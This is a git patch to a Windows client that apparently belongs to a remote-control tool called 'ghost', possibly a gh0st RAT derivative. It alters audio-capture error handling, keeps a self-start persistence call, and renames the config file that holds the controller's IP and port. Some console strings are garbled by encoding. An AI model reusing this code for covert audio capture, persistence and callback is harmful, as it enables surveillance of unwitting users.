From 60a59b8dd5f042826d7c735fad0aa364cd0a71b5 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 19 Apr 2019 11:02:18 +0800 Subject: [PATCH] =?UTF-8?q?=E9=9F=B3=E9=A2=91=E7=9B=B8=E5=85=B3=E7=9A=841?= =?UTF-8?q?=E5=A4=84=E7=BC=BA=E9=99=B7=E4=BF=AE=E5=A4=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。 2、CAudio的线程waveInCallBack在while循环有一处return,已改为break. --- ReadMe.txt | 4 ++++ client/Audio.cpp | 2 +- client/test.cpp | 10 +++++----- 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index c2bb4f3..8db0d8e 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -189,3 +189,7 @@ ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。 2019.4.15 明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。 + +2019.4.19 +1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。 +2、CAudio的线程waveInCallBack在while循环有一处return,已改为break. diff --git a/client/Audio.cpp b/client/Audio.cpp index 0d003b1..a0b1d81 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -178,7 +178,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam) MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); if (mmResult != MMSYSERR_NOERROR) - return -1; + break; } if (Msg.message == MM_WIM_CLOSE) diff --git a/client/test.cpp b/client/test.cpp index 07ee423..e3583bd 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -71,7 +71,7 @@ int main(int argc, const char *argv[]) { if(!SetSelfStart(argv[0], "a_ghost")) { - std::cout<<"ÿʧ.\n"; + std::cout<<"ÿʧܣùԱȨ.\n"; } status = 0; SetConsoleCtrlHandler(&callback, TRUE); @@ -92,11 +92,11 @@ int main(int argc, const char *argv[]) int &port = g_ConnectAddress.iPort; if (0 == strlen(ip)) { - strcpy(p+1, "remote.ini"); - GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path); - port = GetPrivateProfileIntA("remote", "port", 2356, path); + strcpy(p+1, "settings.ini"); + GetPrivateProfileStringA("settings", "localIp", "127.0.0.1", ip, _MAX_PATH, path); + port = GetPrivateProfileIntA("settings", "ghost", 2356, path); } - printf("[remote] %s:%d\n", ip, port); + printf("[server] %s:%d\n", ip, port); do { run(ip, port);